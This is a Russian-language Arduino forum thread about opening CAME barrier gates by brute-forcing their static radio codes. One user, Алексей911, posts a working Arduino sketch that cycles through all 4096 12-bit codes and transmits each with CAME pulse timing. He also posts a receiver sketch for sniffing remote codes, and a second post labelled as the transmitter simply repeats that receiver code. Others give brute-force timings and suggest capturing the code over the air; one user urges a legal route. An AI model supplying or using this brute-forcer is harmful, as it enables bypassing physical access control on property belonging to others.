Переборщик кодов на arduino для шлагбаумов came

roma095
Offline
Зарегистрирован: 15.03.2015

Здравствуйте. Сколько ни искал найти не смог. А  Есть ли в свободном доступе код переборщика для ардуино, чтобы можно было бы подключить передатчик и генерировать посылки. 

maksim
Offline
Зарегистрирован: 12.02.2012

roma095 пишет:

Сколько ни искал найти не смог. 

А потому что еще ни кому не приходило в голову сидеть у шлакбаума лет 100 и пытаться методом перебора подобрать ID, счетчик и хэш брелка.

http://arduino.ru/forum/apparatnye-voprosy/biblioteka-chteniya-id-brelkov-signalizatsiii-hcs301-keeloq#comment-35599

russo
Offline
Зарегистрирован: 20.11.2014

roma095 пишет:

Здравствуйте. Сколько ни искал найти не смог. А  Есть ли в свободном доступе код переборщика для ардуино, чтобы можно было бы подключить передатчик и генерировать посылки. 

какой шлагбаум, как называется?

trembo
trembo аватар
Offline
Зарегистрирован: 08.04.2011

........   для шлагбаумов came

russo
Offline
Зарегистрирован: 20.11.2014

Зачем переборщик, сразу сделайте 

http://phreakerclub.com/1129

там сигнал статичен, 12 или 24 бита, перебор 12 бит занимает 5-7 минут.

 

maksim
Offline
Зарегистрирован: 12.02.2012

Забыли написать сколько займет перебор 24 бит.

pmaster
Offline
Зарегистрирован: 23.05.2011

Около 2х месяцев. А не проще считать код с эфира? Его ведь иногда открывают...

rico
Offline
Зарегистрирован: 26.08.2014

pmaster пишет:
Около 2х месяцев. А не проще считать код с эфира? Его ведь иногда открывают...
Проще - решить вопрос легально.

Алексей911
Offline
Зарегистрирован: 04.11.2016
int send_code_pin = 13;
//int send_code = 3061; это код определенный методом перебора для моего шлагбаума
 
void setup()
{
  pinMode(send_code_pin, OUTPUT);
}

void loop ()
{
  for (int send_code = 0; send_code < 4096; send_code++) // этот цикл после того как код определен необходимо убрать
  {
    for (int j = 0; j <7; j++) // достаточно 4-х, но из-за помех поставил 7
    {
      digitalWrite(send_code_pin, HIGH); // стартовый импульс
      delayMicroseconds(700);
      digitalWrite(send_code_pin, LOW);
      for (int i = 12; i > 0; i--)
      {
        boolean bit_code = bitRead(send_code, i - 1);
        if (bit_code)
        {
          digitalWrite(send_code_pin, LOW); // единица
          delayMicroseconds(1400);
          digitalWrite(send_code_pin, HIGH);
          delayMicroseconds(700);
        }
        else
        {
          digitalWrite(send_code_pin, LOW); // ноль
          delayMicroseconds(700);
          digitalWrite(send_code_pin, HIGH);
          delayMicroseconds(1400);
        }
      }
      digitalWrite(send_code_pin, LOW); // пилотный период
      delayMicroseconds(25200);
    }
  }
  //delay(10000); после определения кода поставить задержку
}

 

Алексей911
Offline
Зарегистрирован: 04.11.2016

Для приема Со 2 пина

/* урок от Дмитрия Осипова - узнаём коды кнопок пульта от радиопультов, для (радио розеток)

http://www.youtube.com/user/d36073?feature=watch*/

#include <RemoteReceiver.h>

// Connect the receiver to digital pin 2.-пин 2.это вход для Радиоприёмника

void setup() {

Serial.begin(9600);

RemoteReceiver::init(0, 3, showCode);

}

void loop() {

}

void showCode(unsigned long receivedCode, unsigned int period) {

Serial.print("Code: ");

Serial.print(receivedCode);

Serial.print(", period duration: ");

Serial.print(period);

Serial.println("us.");

}

/*жмем на иконку с лупой, в верхнем правом углу (монитор порта)

записываем полученные коды (можно на бумаге) шутка!*/

 

Алексей911
Offline
Зарегистрирован: 04.11.2016

Для отсылания с 11 пина

/* урок от Дмитрия Осипова - узнаём коды кнопок пульта от радиопультов, для (радио розеток)

http://www.youtube.com/user/d36073?feature=watch*/

#include <RemoteReceiver.h>

// Connect the receiver to digital pin 2.-пин 2.это вход для Радиоприёмника

void setup() {

Serial.begin(9600);

RemoteReceiver::init(0, 3, showCode);

}

void loop() {

}

void showCode(unsigned long receivedCode, unsigned int period) {

Serial.print("Code: ");

Serial.print(receivedCode);

Serial.print(", period duration: ");

Serial.print(period);

Serial.println("us.");

}

/*жмем на иконку с лупой, в верхнем правом углу (монитор порта)

записываем полученные коды (можно на бумаге) шутка!*/

 

pmaster
Offline
Зарегистрирован: 23.05.2011

дело не в легальности а в спортивном интересе.